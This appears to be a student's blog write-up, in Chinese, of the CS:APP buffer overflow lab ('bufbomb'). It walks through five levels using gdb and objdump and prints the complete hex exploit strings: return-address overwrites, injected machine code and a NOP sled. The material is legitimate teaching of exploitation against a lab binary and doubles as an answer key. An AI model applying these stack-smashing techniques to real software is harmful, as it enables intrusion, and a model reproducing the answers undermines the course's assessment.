这个实验也比较有意思,虽然我是跟着老师给的参考答案手把手做的,缓冲攻击成功的时候还是很有成就感,就是可惜没有和炸弹实验一样的隐藏关了
缓冲实验一共5个关卡,具体的实验细节在实验说明的pdf中有讲,大概就是通过利用一个缓冲区溢出的bug来对一个二进制程序进行攻击,改变它的行为(外挂初级?)
文件输入
因为我们要通过二进制程序来进行攻击,因此我们所写的程序需要被转成2进制
实验说明pdf中给出了实验中可以采用的进制转换方式:
linux> ./hex2raw < 输入文件
本实验通过一个uid来实现不同性,cookie会根据uid来生成,目的应该是为了避免copy抄袭法
代码执行方式:
linux> ./bufbomb -u uid < 转二进制之后的输入文件
为了方便执行,我通常合并操作:
linux> ./hex2raw < 输入文件 | ./bufbomb -u uid
或者
linux> cat 输入文件 | ./hex2raw | ./bufbomb -u uid
level0 : Candle
首先我们从pdf中知道level0的调用的代码源码
我们的目标是改变test
函数的返回值,进入smoke
函数
于是我们查看test
中调用输入的getbuf
函数
发现是输入一个长不超过32的字符串
我们查看getbuf
的汇编代码
可以发现是将字符串放在长为40个字节的空间中,而返回的旧ebp在原栈顶,即现在的ebp+4的位置,于是我们只需输入44个字符长的后面再跟上smoke
的返回地址0x08048e0a
即可
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 0a 8e 04 08
但是运行并未成功
发现是因为0a
对应ASCII中的’\n’
,正好触发了Gets
函数的结束条件,因此我们修改成地址0x08048e0b
进入smoke
函数
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 0b 8e 04 08
缓冲攻击成功。
level1 : Sparkler
我们从pdf可以得知,这次与level0类似,但是要求我们在getbuf
攻击后进入fizz
函数,并且传入我们的cookie值
fizz
函数汇编代码
我们可以看到在fizz
中,所传入的cookie值在ebp+0x8的位置,即在传入fizz
地址的后8个字节
我的uid为对应cookie值0x22b04af1,于是输入值
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 af 8d 04 08
00 00 00 00 f1 4a b0 22
测试成功
level2 : Firecracker
要求我们自进行getbuf
后跳入bang
函数而不返回test
函数
bang
函数c代码
我们知道是要修改其中的global_value
,所以我们查看对应汇编
圈出的这条语句很可疑,在gdb调试中查看对应地址0x804d10c
的值,果然是我们要的global_value
,同理我们可以发现0x804d104
地址的值是我们的cookie
这一次我们要修改的返回地址应该是bang
函数的地址0x8048d52
,然后在攻击进入bang
函数后,可以通过修改运行地址的机器码来改变操作
我们考虑在bang
前执行如上语句,修改global_value
值而保证global_value
的值与cookie
必然相等,且使用objdump对参考程序进行反汇编
找到对应指令
a1 04 d1 04 08
a3 0c d1 04 08
68 52 8d 04 08
c3
那么之后首先要做的就是修改getbuf
之后返回的地址,我们要到我们可修改的执行地址,也就是在运行中我们的buf
数组的运行地址,在gdb断点调试中可以找到是0x556837c8
然后我们让其回到我们设置的机器码执行完后,就可以push函数bang
的地址进栈然后返回,从而进入bang
函数了
因此我们的输入文件应该是
a1 04 d1 04 08
a3 0c d1 04 08
68 52 8d 04 08
c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00
c8 37 68 55
测试成功
level3 : Dynamite
这一次我们的任务是修改getbuf
函数的返回值为我们的cookie
值
那么不难想到我们要做的与上一个相类似,首先将getbuf
的返回地址改为buf
的运行地址,然后通过输入的机器码执行一段指令,然后返回test
函数
在上一题我们已经得到cookie
地址0x804d104
,buf
运行地址0x556837c8
。
我们要回到test
函数在getbuf
后的地址,通过查看汇编可以得知对应地址为0x8048e50
首先确定我们定义的操作
mov 0x804d104, %eax
push 0x8048e50
ret
其机器码为
a1 04 d1 04 08
68 50 8e 04 08
c3
同时我们要保证之前存在ebp的旧ebp没有改变
通过gdb看到旧ebp为0x55683820
因此我们的输入文件应该是
a1 04 d1 04 08
68 50 8e 04 08
c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00
20 38 68 55
c8 37 68 55
测试成功!
level4 : Nitroglycerin
在这里我们输入参数-n,使得函数不执行getbuf
,而是执行buf
空间更大的getbufn
我们查看getbufn
的汇编代码
可以看到他预留了520个字节的位置给输入,也就是说我们修改的返回地址应该在525到528个字节的位置。
然后我们需要返回到testn
函数,并且返回我们的cookie
值
由于getbufn
反复调用五次,其栈空间并不是固定的,因此我们要找到返回地址与他之间的关系。
上面是5次调用时getbufn
的ebp地址、buf
地址和testn
的ebp地址
可以看到他们之间满足一个关系式
第二个式子毫无疑问,而第一个式子显然揭示了testn
和getbufn
的ebp间的关系
再看testn
的汇编代码
testn
中ebp存储在esp+0x28的位置,也就是getbufn
的ebp+0x30的位置,与上面的相符合,因此在getbufn
返回并进入我们的设置的运行地址后,只要leal 0x28(%ebp),%ebp
就可以将保证回到testn
后我们的ebp不会变化。
所以我们就是要改变getbufn
的返回地址到我们buf
的运行地址,执行我们所需要的操作码后回到testn
函数的下一步操作
对应机器码
8d 6c 24 28
a1 04 d1 04 08
68 e2 8c 04 08
c3
但是因为buf
的运行地址也会变化,我们不能准确寻找到buf
,因此我采用一种方法,就是将之前填为00的任意值,都换成填入90,90对应nop,即不进行任何操作,然后在我们输入的字符串最后执行需要的操作。因此我们返回到的地方应该是buf
会到的最高的地址,即0x55683648
,从而保证从其走上去必定是nop
因此我们设置代码
90 * 509 #509个重复的90
8d 6c 24 28
a1 04 d1 04 08
68 e2 8c 04 08
c3
运行测试成功!
实验结果:
level0:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 0b 8e 04 08
level1:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 af 8d 04 08
00 00 00 00 f1 4a b0 22
level2:
a1 04 d1 04 08
a3 0c d1 04 08
68 52 8d 04 08
c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00
c8 37 68 55
level3:
a1 04 d1 04 08
68 50 8e 04 08
c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00
20 38 68 55
c8 37 68 55
level4:
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90
8d 6c 24 28
a1 04 d1 04 08
68 e2 8c 04 08
c3
48 36 68 55